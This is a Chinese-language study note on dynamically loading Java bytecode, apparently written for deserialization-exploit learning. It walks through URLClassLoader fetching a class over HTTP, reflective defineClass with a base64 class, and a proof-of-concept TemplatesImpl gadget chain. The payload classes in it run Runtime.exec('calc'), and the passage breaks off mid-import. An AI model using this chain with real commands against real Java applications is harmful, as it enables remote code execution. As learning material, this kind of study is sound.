再次深入学习动态加载字节码:
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
java的核心就是跨平台运行,Java编译的结果--字节码(.class文件)交给 JVM 去运行,同时如果其他语言可以编译为字节码文件,也可以交由 JVM 运行

2.1 利用 URLClassLoader 加载远程 class 文件
解释 URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
我们正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。
先编译一个文件:
import java.io.IOException;
public class Calc {
static {
try{
Runtime.getRuntime().exec("calc");
} catch(IOException e){
e.printStackTrace();
}
}
}

使用 URLClassLoader 加载:
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoader_Calc {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

先用python 起一个 http 服务:
python -m http.server 8999

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader {
public static void main(String[] args) throws MalformedURLException, InstantiationException, IllegalAccessException, ClassNotFoundException {
URL[] urls = {new URL("http://localhost:8999/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class c = classLoader.loadClass("Calc");
c.newInstance();
}
}
2.2 利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass
loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类
学习如何让系统的 defineClass 来直接加载字节码:
import java.lang.reflect.Method;
import java.util.Base64;
public class DefineClass {
public static void main(String[] args) throws Exception {
//获取 ClassLoader 的 defineClass 方法
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
//将 base64 字符串解码成 class 文件的字节码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
//在系统类加载器上调用 defineClass,将字节数组定义成一个 Class 对象
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
//调用无参构造
hello.newInstance();
}
}

跟进 defineClass 看到它是一个 protected 属性,无法直接访问,所以上述例子中用反射调用。

2.3 利用 TemplatesImpl 加载字节码
defineClass 方法无法直接使用,但是呢,TemplatesImpl 类中给我们提供了一个入口:

TemplatesImpl 类继承了 ClassLoader ,并重写 defineClass 方法,并且是可以被外部调用
现在以 TemplatesImpl#defineClass 为终点跟踪一下这条链:
查找用法:TemplatesImpl.TransletClassLoader.defineClass

TemplatesImpl.defineTransletClasses.defineClass
defineTransletClasses 函数还是私有的,继续找
这里查找 defineTransletClasses 的用法后,找到三个结果

getTransletClasses 和 getTransletIndex() 都是返回了一个储存值,用于后续操作


而 getTransletInstance 中 .newInstance() 会调用无参构造创建一个实例,可以用于我们后续的代码执行所以重点跟它

来到 newTransformer 函数,它是公有的,到这里就可以了

小总结一下:
TemplatesImpl.TransletClassLoader.defineClass
TemplatesImpl.defineTransletClasses.defineClass
TemplatesImpl.getTransletInstance.defineTransletClasses
TemplatesImpl.newTransformer.getTransletInstance
TemplatesImpl
newTransformer
getTransletInstance
defineTransletClasses
defineClass
TransletClassLoader.defineClass
接下来构造 POC:
首先满足俩个条件:

进入 defineTransletClasses -> newInstance


前后结合一下,将 _bytecodes 构造为一维数组套二维数组:
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};_tfactory 这个变量被标记为 transient (不可序列化)

然后在 readObject 中找:看到已经被赋值了

先来一个要执行的类:将其编译后放在指定位置
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class HelloTemplateImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
//这里先赋值看poc是否成功
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
执行后报错:NullPointerException

调试查找哪里出了问题:
可以看到 _transletIndex:-1。我们需要进入到 if 语句才能正常执行

所以要让执行类继承 AbstractTranslet类(对应:ABSTRACT_TRANSLET),

最终完整的执行类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
import com.sun.org.apache.xalan.internal.xsltc